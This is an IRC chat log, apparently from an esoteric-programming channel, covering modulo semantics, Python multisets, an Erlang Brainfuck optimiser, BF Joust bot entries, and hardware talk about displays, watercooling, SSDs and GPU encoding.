mean negative rem positive? 17:09:26 yes 17:09:47 oerjan, yes it does 17:09:51 ah 17:09:59 oerjan, why? 17:10:04 well yes then keeping things positive may simplify things 17:10:26 AnMaster: haskell has both rem and mod, where mod always gives positive for positive divisor 17:10:50 and then you don't need to worry about negative things 17:11:09 oerjan, iirc the semantics for rem is "whatever the compiler that compiled the VM used". So for Erlang compiled with GCC that means C99 semantics. 17:11:09 ah 17:11:18 haskell is more precise there 17:11:28 or rahter... for BEAM compiled with GCC. 17:11:38 BEAM is the Erlang VM 17:12:12 (the bit of Erlang written in C, rather than in Erlang) 17:12:43 -!- Corun has joined. 17:15:20 AnMaster: i'm redesigning expression class. it should canonicalize "(Expr[3] + 4) - Expr[3]" into 4 on-the-fly. :p 17:16:18 lifthrasiir, well I have polynomials working mostly. That is a lot simpler to implement. Just I'm fixing bugs in various other passes and such that were uncovered by adding polynomials... 17:16:34 heh. 17:16:56 i wish there were multiset in python... :S 17:17:03 multiset? 17:17:11 actually, what i needed was "frozen" multiset. 17:17:20 AnMaster: set with duplicate elements. for example, {1, 2, 2, 3, 3, 3}. 17:17:40 what I do is basically "convert the 50 first loops we can convert to polynomials. Do a binary search from that. Once found which exact convert caused issues try to figure out why. 17:17:42 " 17:18:06 that's pretty hard. 17:18:11 lifthrasiir, oh? How comes? I use sets in erlang because I only want one of each. Otherwise I would use some other data structure 17:18:31 lifthrasiir, not really. Since I dump original loop and matching polynomial to stdout 17:18:39 and some other in the middle data 17:18:42 and I can diff the files 17:18:51 so, like, a list? 17:18:59 sometimes it is another pass. Where I can then do a binary search on that. 17:19:00 comex: but it's unordered. 17:19:12 sort the list! 17:19:13 ;P 17:19:18 ha! 17:19:27 anyway iirc erlang has some duplicate_set thingy 17:19:29 haven't used it 17:19:33 http://www.faqts.com/knowledge_base/view.phtml/aid/4355 17:19:34 there you go :p 17:19:38 lifthrasiir, couldn't you implement it for python? 17:20:09 actually 17:20:11 there's a real module for it 17:20:20 AnMaster: a mutable multiset is easy to implement in python, since dict already provides sufficient methods. but what if it has to be immutable? 17:20:21 sort of 17:20:21 bisect 17:20:35 lifthrasiir, copy it every time? 17:20:45 instead of making a change to it 17:20:58 lifthrasiir: a multiset is merely a dictionary with integer values... 17:21:11 AnMaster: in python, "immutable" also conveys the meaning of "hashable". 17:21:23 lifthrasiir, you can't hash other objects? 17:21:25 ffs 17:21:29 oerjan: yes, but hashable dict can be hard to make. 17:21:37 store it as a tuple 17:22:47 and just have the add method maintain sorted order 17:23:01 AnMaster: that's exactly my current method: def __hash__(self): return hash(tuple(self.items())). but i'm not sure it's dependent to implementation. 17:23:18 uh? 17:23:53 lifthrasiir, why do you need it hashable btw? Going to store it in a dict? 17:23:59 or something like that 17:24:02 as the key I mean 17:24:02 AnMaster: convert the dictionary into hashable list of items; but it depends on the order of items, and i'm not sure it's unique. 17:24:13 since it actually serves as multiset! 17:24:40 so don't use a dict, use a tuple for storage 17:24:40 for example (a + a + a) == (a * 3), and i store them as same internal format: {a: 3}. 17:24:43 I generally don't have this problem in Erlang. I can use lists as keys of dicts. I do that when simplifying polynomials 17:24:58 which is faster anyway, as you don't have to make a new tuple for every hash 17:25:42 Term = Coefficient * Variables Variables = List of 2-tuples: {Offset,Exponent} 17:25:48 comex: after some thought, i agree to you. it could be simpler using sorted list. 17:26:12 to merge 2*x + 4*x I use a dict with the list of variables as the key 17:26:17 (but i'm also not sure that tuple manipulation costs less than dict.) 17:26:22 the list is sorted before 17:26:41 (since I just merged 2*x*x into 2*x^2 and similar before) 17:27:16 I don't mean manipulation 17:27:24 hash(tuple(self.items())) 17:27:42 is going to make a new list, and then a new tuple out of it 17:27:59 every time you want a hash 17:29:32 comex: afaik in python __hash__ is called only once per object, but that could be a problem when copying objects. 17:31:06 AnMaster: anyway i'm going to remove AdjustMemory ("add" in your code) in favor of SetMemory ("set" in your code). :p 17:31:21 lifthrasiir, how will you handle ,++ or such 17:31:29 or when you don't know the value before at all 17:31:44 SetMemory[{4}, {4}+2] for example. 17:31:55 like my polynomials then 17:31:59 (instead of AdjustMemory[{4}, 2]) 17:32:02 p[4]=1*p[4] + 1*p[0]; 17:32:07 I have things like that 17:32:09 though 17:32:13 for some reason THAT one breaks... 17:32:31 and it is hard to figure out 17:32:55 hmm. 17:34:10 ok it seems to be related to the whole converted loop being: 17:34:14 [{bfn,add,0,255,undefined,undefined}, 17:34:14 {bfn,set,2,0,undefined,undefined}, 17:34:14 {bfn,add,4,1,undefined,undefined}], 17:34:17 comex: ah, i figured out why i didn't use sorted list. in python 3 cmp doesn't work on different types. 17:34:41 where that is "{bfn,Opcode,Offset,Value,StuffUsedForLoops,MoreStuffUsedForLoops}" 17:35:02 what's undefined for? just reserved? 17:35:29 lifthrasiir, default value in struct definition for bfn (which stands for bf node) 17:35:39 the second undefined contains the "body" of loops and ifs and such 17:35:50 the third is various metadata for loops and polynomials 17:35:57 and a few other instructions 17:36:10 contains stuff like what cells are modified by loops and so on 17:37:00 lifthrasiir, and the "bfn" there is just due to using a record. Internally in erlang it ends up as a tagged tuple 17:38:10 http://pastebin.ca/1442460 <-- I fail to see anything wrong there hm 17:38:17 * AnMaster goes to dump it just after that pass 17:38:20 hmph DMM leaves for vacation and the next day the site is broken in several ways... 17:38:48 oerjan, do you think it is intentional? I suspect it is some kind of practical joke... 17:38:59 and I noticed it too 17:39:02 * oerjan didn't think of that 17:39:21 well not "practical joke". wrong word 17:39:31 impractical, perhaps 17:39:41 maybe he prepared it this way 17:40:01 I could live with the font mess up.... but NOT with the broken image link 17:40:06 :/ 17:40:21 also a missing part of the navigation bar 17:40:36 heh 17:42:01 what _was_ 2317 again? it worked yesterday but i've forgotten exactly what it was 17:43:11 oh ... wait ... 17:43:26 * oerjan turned on the transcript 17:43:36 i have definitely _not_ seen that before 17:43:48 Hm... 17:44:11 12:34 < lifthrasiir> comex: ah, i figured out why i didn't use sorted list. in python 3 cmp doesn't work on different types. 17:44:15 really? 17:44:22 could i simply have forgotten to visit yesterday? no, because i _did_ read Comments on a Postcard. 17:44:34 AnMaster: something is definitely fishy 17:44:40 comex: yes. also __cmp__ is gone. 17:44:50 and cmp() is gone 17:45:00 ...why? 17:45:07 i don't know why. curious. :( 17:45:53 anyway sorting [1, (2,), [3]] etc will fail in python 3. that's why i choose not to use sorted list. 17:46:11 AnMaster: there was a different comic there yesterday, i think, although i don't remember what it was. i suppose the update _could_ have failed horribly to overwrite it 17:46:22 *in order to 17:46:30 oerjan, wasn't it the one two back 17:46:41 also yeah, this must be intentional... 17:46:49 interesting way to irritate users 17:46:52 oh wait you are right, look at the date 17:47:01 oh, it was deprecated in favor of writing 6 boilerplate methods 17:47:22 oh, 2318 is missing the date 17:47:28 while 2317 has today's 17:51:48 ok I minimised the broken diff 17:52:09 oerjan, ok. This MUST be intentional... 17:52:33 I just don't believe it would be this messed up otherwise 17:56:01 oh duh 17:56:02 found it 17:57:58 -!- selador has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042513]"). 18:00:04 oh yeah the forum reminded me there was another glitch: "Intriguingly, the previous poll isn't showing when you answer the current one" 18:00:22 and that was there yesterday too 18:01:04 this appears to be approaching astronomical improbability :D 18:01:47 oh no, DMM actually noticed that before he left 18:04:37 -!- davinci has joined. 18:04:46 hello 18:04:57 Ol 18:06:01 -!- davinci has left (?). 18:17:55 oerjan, oh? 18:18:01 oerjan, what did he say about that 18:18:20 that it was a simple typo 18:18:26 hm 18:18:27 (that was the poll error) 18:40:56 -!- kar8nga has joined. 18:42:05 -!- ehird has left (?). 18:42:32 -!- ehird has joined. 18:49:09 00:26 pikhq: ehird: http://imgur.com/B8SqH.png 18:49:09 00:26 pikhq: Had to go cook. 18:49:11 it sez wut 18:50:09 03:05 zzo38: Hay! You told me I didn't need a e-mail address to register 18:50:09 03:05 zzo38: But now it says I do 18:50:11 03:06 zzo38: It also says I need to register and IDENTIFY to post message on ##C channel. 18:50:13 03:06 zzo38: But IDENTIFY is not a valid command and I can 18:50:15 03:06 zzo38: 't register without password/email but I don't want either of those things 18:50:17 lol— tough. also IDENTIFY is a nickserv command like register. 18:50:19 03:07 coppro: /join #freenode ← he uses telnet to irc 18:54:51 AnMaster: "DuPont Displays Surpasses Million Hour Milestone for Lifetime of New OLED Material" >100 years 18:55:15 ehird, I wonder how they tested that... 18:55:21 06:36 GregorR-L: I'm now uſing all lengþs. ← imaginary patents. 18:55:28 ehird: what the hell is that image? 18:55:46 lifthrasiir: pikhq's english shorthand system. 18:56:00 The result of being bored in high school. 18:56:04 at first glance it looked like japanese :| 18:56:09 pikhq: what does it say? 18:56:22 "The quick brown fox jumped over the lazy dogs." 18:56:27 ah 18:56:46 anyhoo since GregorR has all but obsoleted my interp by adding all legngths I won't bother working on it :P 18:56:49 *lengths 18:57:00 pikhq: how does it work? 18:57:01 And managed not to include all of my symbols, courtesy of diactrics. :p 18:57:07 ehird, what about POLARITY? 18:57:09 it also pushed my program to the bottom >:( 18:57:20 AnMaster: adding polarity is a ~3 minute job 18:57:27 so meh 18:57:31 ehird, AnMaster: And was also done. 18:57:37 hehe 18:57:38 right, then. 18:57:47 ehird: Abjad. 18:57:48 ;) 18:57:51 n vwls. 18:58:03 ehird, I guess it is because you took too long for him ;P 18:58:05 * AnMaster ducks 18:58:11 I noticed the lack of vowels; inferred only from context? 18:58:20 Deewiant: Yeah. 18:58:24 18:57 pikhq: ehird: Abjad. 18:58:24 18:57 pikhq: ;) 18:58:25 18:57 pikhq: n vwls. 18:59:19 Aside from that, it's just the Roman alphabet, simplified into 1 stroke per character. 18:59:59 What do t and h look like in isolation 19:00:19 Deewiant: T looks like the first character without the ` over it. 19:00:42 Is h always a `? 19:00:55 h looks like... Hmm. Actually, it looks closest to 'þ' written backwards. 19:01:00 AnMaster: So, looks like I'll be buying my display from DuPont. Maybe. 19:01:09 ehird, price? 19:01:13 Dunno. 19:01:24 I won't get this fancy long-lived one, just a regular OLED display. 19:01:25 フ 19:01:26 * Asztal is now known as sztl 19:01:27 No, only when with another letter. "gh", "th", "ph", etc. 19:01:37 ehird, DPI? 19:01:55 It's amusing that it looks like kana, since I didn't learn kana until a bit *after* that. 19:01:57 * AnMaster is now known as Asztal_fails 19:02:02 AnMaster: Either 163.92 or 136.6. 19:02:10 Either way, ridonkulously high. 19:02:17 ehird, .92? .6? 19:02:19 heh 19:02:20 'sztl, you mean. 19:02:22 AnMaster: Yes. 19:02:30 1280x1024 at 10" and 12", respectively. 19:02:41 (I write a ' to indicate a starting vowel, makes it a bit easier to read) 19:02:51 With DPI set accordingly in the OS, of course; that high resolution's just for extra smoothness and for media. 19:02:54 `sztl would work on IRC, I suppose 19:02:58 Not for blindity. 19:03:03 pikhq, He fails at faking nick change for all clients expect possibly xchat. 19:03:17 AnMaster: since it's impossible to do it for all clients, who carse? 19:03:18 AnMaster: True. 19:03:20 *cares 19:03:25 ehird, my point 19:03:33 who cares if he fails faking it 19:04:02 I don't care a lot about it. Just for informative purposes. 19:04:15 if I could get a -!- there, I'd do that, but I don't really know what the other clients do 19:04:27 ubuntu/gnome are really good for high-dpi displays 19:04:31 everything just works if you set the dpi 19:05:16 Huge advantage of high DPI displays: Subpixel rendering + no hinting — without any blurriness whatsoever. 19:05:25 Although you get that at about 100dpi. 19:05:50 Your "huge advantage" is my "can't tell the difference" 19:06:14 Deewiant: You're blind. 19:06:17 Why don't you go and buy a braille screen, I'm sure you'll be just fine 19:06:24 -!- tombom has quit (Read error: 54 (Connection reset by peer)). 19:06:26 not having fully-functioning eyes and all 19:06:48 For this particular case I note that I actually haven't had a chance to compare 19:06:55 But I suspect it'd be like that. 19:06:58 Then your statement is very silly :P 19:07:07 It applies to most of your monitor hype :-P 19:07:18 "monitor hype"? 19:07:24 you mean... i like good displays? 19:07:27 i dont' recall hyping anything 19:07:50 "to create interest in by flamboyant or dramatic methods" 19:08:23 o_O 19:08:38 saying that 1280x1024 is way too small = dramatic? 19:09:07 1280x1024 is kinda small unless you're talking TV set. 19:09:16 pikhq: Deewiant said it was "just fine" 19:09:19 And even then... Go for full 1920x1080? 19:09:33 yeah, it's not as if Full HD screens even cost a lot 19:09:36 ehird: Sure. In 1996. 19:09:50 you can get a 23" LCD TV w/ real 1080p for ~£200 19:09:54 ehird: Responding with "hahahahahaha" when I say it isn't is flamboyant :-P 19:09:59 and most tvs cost about that much 19:10:11 Deewiant: 512k is enough for anything 19:10:33 ehird: Eh, there's cheaper TV sets. Granted, those are at best EDTV these days... 19:11:00 [[It would be better for the "Donky" of the U.S. Democratic Party to lick the carrot.]] —North Korea 19:11:01 ehird: That style of response is flamboyant regardless of the statement. 19:11:15 Deewiant: do we agree on the definition of flamboyant here? 19:11:16 Aside: you guys have pretty damn cheap TVs. 19:11:32 ehird: "showy" 19:11:39 Deewiant: TVs are cheap. 19:11:47 Deewiant: not really the colloquial meaning 19:11:51 pikhq: Tech is expensive in finland 19:12:00 pikhq: I got a 19" TV for 199€, the next-cheapest one would have been around 299€. 19:12:01 Ah, right. 19:12:15 Jebus. 19" for 199€? 19:12:18 ehird: Fuck colloquy. :-P 19:12:30 pikhq: Cheapest TV I could find. 19:12:35 Who wants a TV 19:12:39 They're just badly-tuned monitors 19:12:39 Modulo reasonable TVs. 19:12:51 I could just about get a 19" monitor, computer and *tuner card* for that. 19:13:07 Screw you. :-P 19:13:30 Tuner cards appear to be around 90-120 € here. 19:13:33 Oh. 199€ is according to Google $281. 19:13:43 Just about? Yes, I *definitely* could. 19:14:02 That 23" with 1080p for £199 is ass-cheap. 19:14:06 I can pick up a DTV tuner for $20-$50.... 19:14:12 i should get a new monitor 19:14:34 If I skrimped, I could get a computer for another $150... 19:14:41 pikhq: 19" monitors are upwards of 100 €. 19:14:45 Maybe even $100 if I didn't bother with CPU at all. 19:15:09 -!- jix has joined. 19:15:09 And a computer on top of that will be more than the -20 to 10 € remaining. ;-) 19:15:15 ("CPU? Who needs that if it's just going to tune?") 19:16:04 19:14 Deewiant: That 23" with 1080p for £199 is ass-cheap. 19:16:06 £200. 19:16:13 ehird: No less ass-cheap. 19:16:14 Give £30 or so 19:16:24 Deewiant: Yeah, we have pretty good pricse. 19:16:24 So, yes. It would be cheaper for me to build a barebones DVR setup than it would be for you to buy a TV set. 19:16:26 *prices 19:16:28 That's a bit crazy. 19:16:42 But seriously, televisions are obsolete. 19:16:46 I've become accustomed to it. :-P 19:16:48 Simple as that 19:17:01 Nothing wrong with buying an obsolete device every now and then 19:17:02 Deewiant: Here's the ass cheap TV: http://www.ebuyer.com/product/153223 19:17:04 £230.68 19:17:15 Deewiant: = 263.38 eur 19:17:33 ehird: DVR setup FTW. If you really *must* watch TV, at least you can skip the commercials. 19:17:52 pikhq: Why even bother? Everything apart from the news is downloadable, and the news can be streamed for free online. 19:17:57 (... assuming BBC, of course.) 19:18:02 for a monitor, is is 1920*1200, 22", or 19200*1200, 24" better? 19:18:14 bsmntbombdood: the 19200. it has ten times the height 19:18:20 ehird: About the same price here, actually. I'd've expected at least 290. 19:18:21 bit of a skewed aspect ratio though ;) 19:18:36 bsmntbombdood: But, depends what you want. 22" packs the same stuff into more detail, due to packing the pixels closer. 19:18:45 ehird: You're not very likely to find 10 Mbit/s MPEG2 streams from the net. :p 19:18:46 bsmntbombdood: 24" is about 96dpi, which is what most images, etc on the interweb assume. 19:18:47 ehird: But then, £30 on top does make it less ass-cheap. :-P 19:18:54 And also, the default settings and such assume it, generally. 19:19:00 So it'll work OOTB more smoothly. 19:19:06 ... Granted, if you've got cable, you're not even getting that. 19:19:18 pikhq: Ultra-high quality is mandatory for breaking news, clearly. 19:19:32 Deewiant: I have £30 a few meters away from me, want it? :P 19:19:36 In this case, I just wanted something cheap with component inputs. 19:19:41 (well, okay, so I don't have £30 lying everywhere.) 19:19:43 (would be nice tho.) 19:19:43 ehird: Sure :-P 19:20:02 Deewiant: OK, that'll be £20 shipping, £11 handling charge 19:20:09 ehird: You're discussing the US. We think that making it possible for people to *download* shows they want to watch is EBIL!!! 19:20:18 ehird: Nothx 19:20:39 pikhq: I believe you can stream bbc news internationally 19:20:48 Or, nope. 19:20:50 I quote: 19:20:58 ehird: And what if you want to watch something other than BBC news? 19:21:08 So we'd rather use several hundred Mbit/s streaming it over the air. And over satellites. And over cables. 19:21:13 "The BBC News channel is available in the UK only. Don't forget, to watch TV online as it's being broadcast, you still need a TV License." 19:21:24 pikhq: If you want something else, it's probably not live, so download the series. In HD> 19:21:24 *. 19:21:33 ehird: Not legal. 19:21:38 Correct. 19:21:41 Thus my rant about the US. 19:21:54 Jaywalking isn't legal either :P 19:22:00 And diverging into a rant about us not using multicast. 19:22:21 TV/Radio have one architectural advantage: 19:22:28 Broadcast scales way better than streaming. 19:22:37 Because it doesn't have to do anything at all :P 19:22:43 Thus why I said multicast. 19:22:48 mm 19:23:17 With multicast, the streamer just sends out a single stream. The routers make sure the stream gets to everyone. ;) 19:23:18 [[For anyone who isn't familiar with the name "Prometeia," it is special device that chills an Intel or AMD processor down to an operating temperature of between -20°C to -30°C, with the end goal being better overclocking.]] 19:23:30 Overclockers never stop surprising me with what they will buy. 19:23:49 It's a fridge for your CPU. 19:24:08 It's also nearly 10 years old :-P 19:24:13 I've seen some overclocker that said "Screw that, that's just stupid". 19:24:25 And bought a minifridge and made that into a computer case. 19:24:27 Deewiant: Yeah, I bet it can only cool an i7 @ 4ghz to -5 under load. 19:24:32 pikhq: :D 19:24:36 I know, srsly! 19:24:39 If there's one thing overclockers are, it's DIY. 19:24:42 *DIYers 19:25:01 On the subject of crazy cooling systems... 19:25:26 http://www.zalman.co.kr/DataFile/product/RESERATOR-1-V2_01_b(0).jpg Combined pump, reservoir and... space heater. 19:25:39 ehird: stfu, that thing's awesome 19:25:45 bsmntbombdood: never said it wasn't 19:25:49 i'm considering it for my new build 19:25:53 well. two of them 19:26:00 one can only dissipate ~200W of heat continually 19:26:06 hhahahaa 19:26:11 wimpy 19:26:15 probably drill a hole in the wall, and mount it on the rarely-used stairs, though 19:26:20 diy it 19:26:23 don't want to be near two of them under load 19:26:35 bsmntbombdood: i could just buy an industrial radiator that can dissipate 200w 19:26:37 *2000w 19:26:42 and hook it up to the reserator 19:26:46 that'd be less fuss than DIYing it 19:26:52 that would be better 19:26:59 i don't think you want two pumps 19:27:06 and two reservoirs 19:27:06 bsmntbombdood: the pump is a bit wimpy, though 19:27:12 5 watts, 30litre/hour 19:27:23 otoh, anything more would be non-inaudible 19:27:36 two of them is probably quieter than replacing the pump with something louder/more powerful 19:27:49 but if I'm mounting this on the stairs it doesn't really matter :) 19:28:07 non-inaudible 19:28:10 Eg. audible 19:28:14 FireFly: shush you :) 19:28:26 bsmntbombdood: the reserator is ~8.5kg when filled 19:28:26 get a large sheet of copper, solder copper pipe on to it in a purdy design 19:28:30 mount on wall 19:28:39 6kg base rate + 2.5 litres of cooler 19:28:44 bsmntbombdood: not on this wall, kthx 19:28:51 why not? 19:28:53 the i7 and a gtx graphics card are gonna produce a lot of heat 19:28:55 and it's summer 19:29:02 25C-30C is hot enough for me as it is 19:29:07 bsmntbombdood: I'm going to mount it on the other wall 19:29:17 uuuh 19:29:21 to the side of my monitor and further forward is a wall 19:29:25 it's not like you've got more heat than fan cooling 19:29:34 beyond that wall, is air above rarely-used stairs 19:29:40 so 19:29:45 step 1. drill three holes 19:29:54 in, out tubes, and power lead 19:30:01 step 2. get brackets, mount on stair wall 19:30:04 step 3. connect it up 19:30:12 bsmntbombdood: yes, but air heating just goes out the exhaust vent 19:30:14 And no-one in your house complains? 19:30:28 it doesn't sit there 2ft high pumping out heat 19:30:32 ehird: the exhaust vent right next to you 19:30:43 bsmntbombdood: the exhaust vent on my floor, facing the wall, you mean 19:30:50 ehird: heat rises 19:30:55 no shit sherlock 19:30:56 -!- coppro has quit (Remote closed the connection). 19:31:04 bsmntbombdood: anyway, the stairs are colder. 19:31:07 also, this is cooler. ;) 19:31:16 In which meaning? 19:31:18 FireFly: weell, that may be a slight issue 19:31:26 FireFly: but, the stairs are used like once every few months 19:31:33 anyway, if it's on the other side of a wall, you can use a cheaper, active radiator 19:31:34 and it'd be too high to bash anyone 19:31:37 FireFly: also, cool as in awesome. 19:31:40 Ah 19:31:48 bsmntbombdood: the stairs are a great amplifier 19:31:51 I can hear anything that goes on in there 19:32:09 also, fans have significantly less cool factor 19:32:10 You should have your speakers there :D 19:32:12 plastic tubing is cheap 19:32:16 FireFly: heh 19:32:25 run it down to the basement 19:32:34 bsmntbombdood: yeah but if I go down that route my whole computer ends up in the basement (a basement which this flat does not have) 19:32:44 and that's so much less fun than making it silent 19:32:51 i've already got a hole drilled in my floor down to the crawlspace :D 19:32:54 for my ethernet cable 19:32:55 bsmntbombdood: one of the less practical ideas I had while thinking about this, 19:32:56 is: 19:33:02 (note that I'm one storey up in a flat) 19:33:08 -!- tombom has joined. 19:33:09 mount it on the outside wall 19:33:12 put in protective box 19:33:14 drill holes through wall 19:33:16 bsmntbombdood, that's my idea 19:33:23 bsmntbombdood: i could overclock in the winter only 19:33:23 :D 19:33:45 !bfjoust suicide < 19:33:47 there's a word for that idea, though, actually two of them. impractical; expensive :-D 19:33:51 Score for jix_suicide: 0.0 19:33:57 ehird: get a window-mounted air conditioner, and hook up a heat exchanger to the cold side 19:34:11 Suicide is more like [-] 19:34:17 FireFly: nope 19:34:24 No? 19:34:25 bsmntbombdood: maybe 19:34:26 FireFly: leaving the arena makes one lose 19:34:27 !bfjoust true_suicide ] 19:34:30 the reserator is pretty though 19:34:36 Ah 19:34:39 Score for Asztal_true_suicide: 4.6 19:34:40 !bfjoust fake_suicide [-] 19:34:47 bsmntbombdood: i'm almost totally set on a passive-radiator watercooling system, though 19:34:56 although then the coil whine from the GTX 260 up becomes an issue 19:35:00 I thought one could still win if the opponent suicided afterwards (by clearing its own flag) 19:35:02 !help 19:35:08 ehird: i thought you weren't getting a gtx 19:35:11 !bfjoust suicide fake_suicide 19:35:14 aww 19:35:15 FireFly: that's only if your program ends 19:35:17 heh, well, a syntax error loses to a <, AFAIK. 19:35:17 !bfjoust suicide < 19:35:23 Ah 19:35:23 bsmntbombdood: that was 'cuz I could passively cool a 9800gtx+ 19:35:33 bsmntbombdood: with watercooling, all those issues just - ehm - drip away 19:35:42 "coil whine"? 19:35:48 step 1, get a decent radiator, step 2, put all the components you want in the loop 19:35:50 bsmntbombdood: yeah 19:35:58 bsmntbombdood: some of the coil things on the card make a whining noise 19:36:01 apparently only for the first few months 19:36:03 or forever 19:36:05 depending on who you ask 19:36:16 Score for Deewiant_fake_suicide: 7.7 19:36:17 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google gregor hello kipple lambda lazyk linguine malbolge notecho num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yod 19:36:17 Score for tombom_suicide: 0.0 19:36:17 Score for tombom_suicide: 0.0 19:36:54 Egobot, was that the one with lots of bf based commands? 19:36:55 ehird: get a 295 19:37:00 bsmntbombdood: that's mah plan 19:37:07 bsmntbombdood: maybe even two, in SLI. 19:37:12 !show bf 19:37:13 That is not a user interpreter! 19:37:15 depending on how excessive and moneybags I feel 19:37:31 ... GTX 260 ... 19:37:37 bsmntbombdood: GTX 260 and up 19:37:43 all the GTXs suffer from it 19:37:52 Deewiant: since you're the person who showed me that ssd article— do you think using an using intel ssd for an os drive, and then a stuttery-but-good-sequential-throughput SSD for a data might work well? i don't see why that wouldn't work 19:38:25 If most of your data usage is sequential then sure, I guess 19:38:29 bsmntbombdood: after all this, all I need is an anechoic chamber to enjoy it in 19:38:32 how much are you spending on this anyway? 19:38:39 and too much 19:38:49 and why not put the computer on the other side of the wall? 19:39:25 a bit less (few hundred) than $4,000 for the aircooled version ($4k was from endpcnoise.com preassembled; the rig i was going to build had some changes but would prolly come out cheaper due to no system integrator cost) 19:39:39 so, remove costs for quiet case, heatsinks, fans etc and add watercooling costs... 19:39:47 otoh, I found some ways to cut the costs down 19:39:52 it's all very much in flux 19:39:56 priority one, performance and silence 19:40:01 priority two, money i can actually afford 19:40:03 i can't imagine how you would spend that much 19:40:10 bsmntbombdood: well, I'm not going to 19:40:17 i'm doing it iteratively 19:40:28 make awesome computer, make affordable. if awesomeness is compromised, go back to step 1 19:40:33 repeat until both criteria are fulfilled 19:40:51 gtx 295 - $500, i7 extreme, $1000, 4 x25-ms, $1200 19:41:09 bsmntbombdood: watercooling costs a lot 19:41:12 expensive ram, $400 19:41:12 several hundred 19:41:24 bsmntbombdood: 12gb of expensive ddr3 is more like $1000 19:41:32 and you're only at $3000 19:41:38 Not if you do it the 8G stick way. 19:41:47 pikhq: then it's $984758934579832478293784572893467834589347238947 19:41:49 ehird: if you want to be wasteful 19:41:51 because you can't get 8g sticks 19:41:51 only 4g 19:41:57 ehird: Factorial. 19:42:13 pikhq: oh it wouldn't cost -that- much to get them invented and made ;) 19:42:51 bsmntbombdood: $3100 for cpu, gfx card, ram and 160gb x25-m 19:42:54 That includes the cost of bribing the controllers of the market to allow them to be on the market. 19:43:02 add water cooling costs, case etc and you get a bit over $4000 19:43:17 ;0 19:43:22 ;), rather. 19:43:29 conclusion: hardware is cheap. relatively. 19:43:44 http://techreport.com/articles.x/16255 19:43:49 see, that thing looks pretty cool 19:43:58 until you realize it's utterly stupid 19:44:03 * ehird clix 19:44:04 what thing is it? 19:44:07 interwebs are being slow 19:44:19 one thing that is totally stupid is any watercooling rig that isn't passive 19:44:23 total waste of money 19:44:26 ACard's ANS-9010 Serial ATA RAM disk 19:44:39 bsmntbombdood: pfft, SATA? 19:44:42 bottleneck ahoy 19:44:44 no kidding 19:44:59 [[What's more, even Intel's fastest X25-E flash drive is limited to 250MB/s reads and 170MB/s writes]] 19:45:00 you can only go up to 64gb too 19:45:05 FOCUS ON RANDOM PERFORMANCE FOR AN OS DRIE 19:45:06 DRIVE 19:45:07 RAAAAAAAAAAAAAAAAAAAGE 19:45:09 >:| 19:45:16 so, it'll be 1000 times better to get a motherboard that can support that 19:45:32 because the processor's fastest and lowest latency connection to _anything_ is its ram 19:45:43 i wonder what nice watercooled psus you can get 19:45:51 probably not anything under 2345897234897238942389429347234 kilowatts 19:45:57 because all watercoolers are excessive amirite 19:46:18 * pikhq wants a computer with battery backed RAM. Making a RAM disk feasible. 19:46:19 :p 19:46:20 ddr2 can get 6 gigabytes/second 19:46:26 sata gets...300megabytes/second 19:46:28 hmmm 19:46:32 err 19:46:34 bsmntbombdood: sata=3gb/s 19:46:41 ehird: gigabits/s 19:46:43 bsmntbombdood: 6 gb/s soon. 19:46:47 pikhq: ups... 19:46:48 bsmntbombdood: well yeah 19:47:16 pikhq: it's very easy to do with a good operating system 19:47:40 bsmntbombdood: can the dual 1366 server mobos take two i7s? 19:47:44 i seem to recall that they only fit xeons or sth 19:47:49 ehird: you can't have two i7's 19:47:54 bsmntbombdood: "Battery backed RAM". 19:48:02 you need nehalem xeons instead 19:48:03 bsmntbombdood: you can have two xeons, why not two i7s 19:48:11 I didn't know an OS could magically make your RAM battery backed. 19:48:21 pikhq: you get a ups 19:48:31 ups tells computer when to start backing up ramdisk 19:48:33 Not the same. 19:48:38 exactly the same 19:48:47 fuck battery backed ramdisks 19:48:48 too brittle 19:48:51 ssd backed ramdisks, yes. 19:48:58 Sure, if you never shut your system down. 19:49:23 bsmntbombdood: do you know? 19:49:31 pikhq: so it takes 2 minutes to shut down, big deal 19:49:42 ehird: they don't have the appropriate bus iirc 19:49:49 ah 19:49:54 kinda lame but i don't need more than 4 cores 19:50:14 doubt the performance advantage from 8 is really noticeable apart from in things specifically optimized for it 19:50:20 if I wanna get mega parallel i'll talk to my gpu 19:50:52 [[Busting the ANS-9010 open reveals eight 240-pin DDR2 DIMM slots]] 19:50:52 ehird: Like compile jobs, encode jobs, etc. :p 19:50:57 bsmntbombdood: it isn't even fucking ddr3 :) 19:51:22 pikhq: -j6 vs -j12 isn't going to make much difference unless your project is basically dependency-free 19:51:23 ehird: it's on the other side of sata, who cares 19:51:32 pikhq: encode jobs can be done on the gpu 19:51:38 and there are products doing that in development 19:51:46 mencoder? 19:51:53 pikhq: can mencoder do that? 19:51:55 i don't know 19:52:14 mencoder can do encodes in parallel. I don't think it can do encodes on the GPU, though. 19:52:29 *Decodes*, sure, but not encodes. 19:52:53 some gpus have hardware de/encoders don't they? 19:52:57 Well, that's its problem 19:52:59 bsmntbombdood: dunno 19:53:01 buuut 19:53:07 i've seen figures using gpu encoders to mpeg4 and the like 19:53:11 basically? 19:53:17 5x faster than a multicore cpu or so 19:53:20 bsmntbombdood: All modern GPUs are TC. 19:53:27 pikhq: he knows _that 19:53:27 _ 19:53:30 And have builtin decoding hardware besides. 19:53:30 but specialization = moar speed 19:54:00 but yeah, gfx card of radeon 4850 or above caliber vs high-end gigahertzy 4-core cpu 19:54:06 gfx cards kicks the cpu's ass at encoding video. 19:54:20 bsmntbombdood: oh my god 19:54:25 bsmntbombdood: their test system for that ddr drive 19:54:27 bsmntbombdood: [[Processor Pentium 4 Extreme Edition 3.4GHz]] 19:54:30 If you've got an encoder for said graphics card, yes. 19:54:33 TIME MACHINE TIEM MACHINE 19:54:34 *TIME 19:54:36 ehird: STAB. 19:54:45 P4? Jeeze. 19:54:50 [[Memory size1GB (2 DIMMs)]] 19:54:52 1 GIGA BYTE 19:54:54 it was written in 2009, too 19:54:59 no excuse for that 19:55:00 [[Graphics Radeon X700 Pro 256MB with CATALYST 5.7 drivers]] 19:55:02 In 2 DIMMS! 19:55:04 oh this shit is just piling up the power 19:55:12 